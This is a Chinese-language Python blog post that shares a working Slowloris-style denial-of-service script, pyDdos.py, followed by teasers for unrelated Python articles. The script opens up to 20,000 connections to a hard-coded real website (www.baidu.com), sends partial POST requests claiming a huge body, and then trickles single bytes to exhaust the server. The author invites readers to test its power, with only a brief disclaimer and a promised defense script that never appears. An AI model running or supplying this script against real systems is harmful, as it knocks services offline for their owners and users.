python版DDOS攻击脚本

yipeiwu_com6年前Python基础

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start() 

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持【听图阁-专注于Python设计】。

相关文章

详解Python中的测试工具

当我们在写程序的时候,我们需要通过测试来验证程序是否出错或者存在问题,但是,编写大量的测试来确保程序的每个细节都没问题会显得很繁琐。在Python中,我们可以借助一些标准模块来帮助我们自...

python脚本作为Windows服务启动代码详解

我们首先来看下全部代码: # -*- coding: cp936 -*- import win32serviceutil import win32service import...

Python实现将字符串的首字母变为大写,其余都变为小写的方法

利用map()函数,把用户输入的不规范的英文名字,变为首字母大写,其他小写的规范名字。 思路:使用capitalize()函数将字符串的首字母转为大写,其余变为小写 L1 = ['A...

python实现高斯判别分析算法的例子

python实现高斯判别分析算法的例子

高斯判别分析算法(Gaussian discriminat analysis) 高斯判别算法是一个典型的生成学习算法(关于生成学习算法可以参考我的另外一篇博客)。在这个算法中,我们假设p...

Python反射和内置方法重写操作详解

本文实例讲述了Python反射和内置方法重写操作。分享给大家供大家参考,具体如下: isinstance和issubclass isinstance(obj,cls)检查是否obj是否是...